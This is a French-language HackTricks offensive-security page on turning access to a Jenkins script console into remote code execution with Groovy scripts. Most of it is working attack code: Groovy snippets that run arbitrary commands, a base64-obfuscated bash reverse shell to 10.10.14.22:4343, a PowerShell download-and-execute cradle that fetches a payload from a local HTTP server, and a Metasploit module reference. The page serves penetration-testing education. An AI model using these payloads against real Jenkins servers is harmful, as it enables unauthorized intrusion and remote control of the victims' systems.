Jenkins RCE with Groovy Script

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Jenkins RCE avec un script Groovy

Ceci est moins bruyant que de créer un nouveau projet dans Jenkins

  1. Allez à chemin_jenkins/script

  2. Dans la zone de texte, introduisez le script

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Vous pouvez exécuter une commande en utilisant : cmd.exe /c dir

Sous linux, vous pouvez faire : "ls /".execute().text

Si vous avez besoin d'utiliser des guillemets et des apostrophes à l'intérieur du texte. Vous pouvez utiliser """PAYLOAD""" (triple guillemets doubles) pour exécuter le payload.

Un autre script groovy utile est (remplacez [INSERT COMMAND]) :

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell inversé sous Linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell inversé sous Windows

Vous pouvez préparer un serveur HTTP avec un shell inversé PS et utiliser Jeking pour le télécharger et l'exécuter :

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Vous pouvez automatiser ce processus avec ce script.

Vous pouvez utiliser MSF pour obtenir un shell inversé :

msf> use exploit/multi/http/jenkins_script_console
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Dernière mise à jour